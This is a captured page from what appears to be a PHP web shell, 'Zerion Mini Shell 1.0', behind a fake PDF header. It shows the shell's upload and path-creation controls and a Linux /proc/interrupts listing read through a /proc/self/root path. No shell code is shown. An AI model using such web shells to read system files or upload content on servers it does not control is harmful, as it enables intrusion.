%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/1425812/cwd/proc/
Upload File :
Create Path :
Current File : //proc/self/root/proc/1425812/cwd/proc/interrupts

           CPU0       CPU1       CPU2       
  1:          9          0          0   IO-APIC   1-edge      i8042
  4:         35         36          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0   IO-APIC   9-fasteoi   acpi
 11:          0     339816          0   IO-APIC  11-fasteoi   uhci_hcd:usb1, virtio3
 12:          0          0         15   IO-APIC  12-edge      i8042
 14:          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio2-config
 25:        278         10         86  PCI-MSIX-0000:00:05.0   1-edge      virtio2-virtqueues
 26:          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      virtio1-config
 27:          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      virtio0-config
 28:          0          0          0  PCI-MSIX-0000:00:04.0   1-edge      virtio1-control
 29:   11716992    1476458   16458121  PCI-MSIX-0000:00:03.0   1-edge      virtio0-input.0
 30:          0          0          0  PCI-MSIX-0000:00:04.0   2-edge      virtio1-event
 31:    9929909      20569    8060923  PCI-MSIX-0000:00:03.0   2-edge      virtio0-output.0
 32:          0          0   23321041  PCI-MSIX-0000:00:04.0   3-edge      virtio1-request
 33:  107511569 3638026415          0  PCI-MSIX-0000:00:03.0   3-edge      virtio0-input.1
 34:    4464271      50378    7002209  PCI-MSIX-0000:00:03.0   4-edge      virtio0-output.1
 35:    7465486    1307966   17625297  PCI-MSIX-0000:00:03.0   5-edge      virtio0-input.2
 36:    6311378      49760   17085209  PCI-MSIX-0000:00:03.0   6-edge      virtio0-output.2
NMI:          0          0          0   Non-maskable interrupts
LOC: 1071742056 3548695799  865387281   Local timer interrupts
SPU:          0          0          0   Spurious interrupts
PMI:          0          0          0   Performance monitoring interrupts
IWI:          8         27         20   IRQ work interrupts
RTR:          0          0          0   APIC ICR read retries
RES:    2788912    2894801    3940666   Rescheduling interrupts
CAL: 1325783877  180284494 1428137033   Function call interrupts
TLB:    3260150    3351585    2875096   TLB shootdowns
TRM:          0          0          0   Thermal event interrupts
THR:          0          0          0   Threshold APIC interrupts
DFR:          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0   Machine check exceptions
MCP:      10375      10375      10375   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0   Posted-interrupt notification event
NPI:          0          0          0   Nested posted-interrupt event
PIW:          0          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0